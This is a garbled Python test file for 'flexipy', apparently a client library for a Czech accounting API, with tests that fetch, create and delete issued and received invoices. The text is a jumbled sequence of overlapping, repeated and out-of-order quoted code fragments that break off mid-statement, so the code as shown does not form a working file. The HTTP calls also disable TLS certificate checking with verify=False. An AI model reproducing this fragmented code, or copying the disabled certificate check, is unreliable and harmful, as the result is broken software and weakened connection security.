expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] == expected_polozky[0]['cenaMj']", "d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy", "def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1):", "expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy", "list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password),", "len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert", "assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat", "= requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0]", "= self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma']", "test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] ==", "[{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28',", "= [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}]", "self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json()", "test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484',", "import requests import json class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings =", "invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28',", "= [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484',", "expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] == expected_polozky[0]['cenaMj'] #uklid po sobe self.faktura.delete_vydana_faktura(id)", "list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected ==", "result[0] == True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert", "= requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else:", "r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury()", "assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d =", "detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma']", "if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury()", "flexipy import config import requests import json class TestFaktura: def setup(self): self.conf =", "import config import requests import json class TestFaktura: def setup(self): self.conf = config.TestingConfig()", "actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] == expected_polozky[0]['cenaMj'] #uklid po", "assert result[0] == True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full')", "list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param", "config import requests import json class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings", "= d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual", "datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True id = result[1]", ",auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected =", "= {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param,", "self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d", "#expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower()", "list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data", "dalsi_param=dalsi_param) assert result[0] == True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id,", "assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert", "list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy", "True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() ==", "actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert", "#pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert", "actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}]", "auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False,", "'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result =", "'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0],", "assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def", "str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d =", "= self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True", "po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test", "actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self):", "json class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username =", "from flexipy import Faktura from flexipy import config import requests import json class", "== expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe", "SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] ==", "== True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower()", "server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura", "= r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual", "#uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy", "dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0],", "expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data =", "id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl']", "def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky", "actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis']", "actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl']", "assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'}", "= result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] ==", "assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet", "expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0]", "list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) ==", "expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) ==", "self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True", "-*- from flexipy import Faktura from flexipy import config import requests import json", "test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected", "== len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev']", "test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected =", "invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result", "self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def", "expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result", "actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat assert", "== expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky", "self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf)", "coding: utf-8 -*- from flexipy import Faktura from flexipy import config import requests", "{'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11',", "expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl']", "typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True id = result[1] actualData", "= {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test", "requests import json class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config()", "self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] ==", "utf-8 -*- from flexipy import Faktura from flexipy import config import requests import", "self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r =", "= str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json'", "[{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param", "= {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert", "{'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky)", "flexipy import Faktura from flexipy import config import requests import json class TestFaktura:", "import json class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username", "if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert", "else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self):", "result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl']", "True id = result[1] actualData = self.faktura.get_vydana_faktura(id, detail='full') assert actualData['kod'].lower() == expected_data['kod'].lower() assert", "def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password =", "self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url", "= Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if", "r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual =", "len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] ==", "from flexipy import config import requests import json class TestFaktura: def setup(self): self.conf", "self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky}", "polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni", "== expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] == expected_polozky[0]['cenaMj'] #uklid po sobe", "list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r", "Faktura from flexipy import config import requests import json class TestFaktura: def setup(self):", "def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test", "test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky =", "-*- coding: utf-8 -*- from flexipy import Faktura from flexipy import config import", "d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json'", "requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else:", "= config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url =", "else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self):", "str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r", "d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata']", "test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert", "len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected", "Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']):", "self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true',", "config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url'])", "typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True id = result[1] actualData =", "= self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice',", "assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid", "= self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected", "assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert", "== expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury'])", "zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True id = result[1] actualData", "assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky)", "= d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual", "expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky =", "expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12',", "actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek", "= str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self):", "assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] == expected_polozky[0]['cenaMj'] #uklid", "auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param =", "invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True", "d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def", "setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password'])", "{'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0]", "musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK']", "result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', 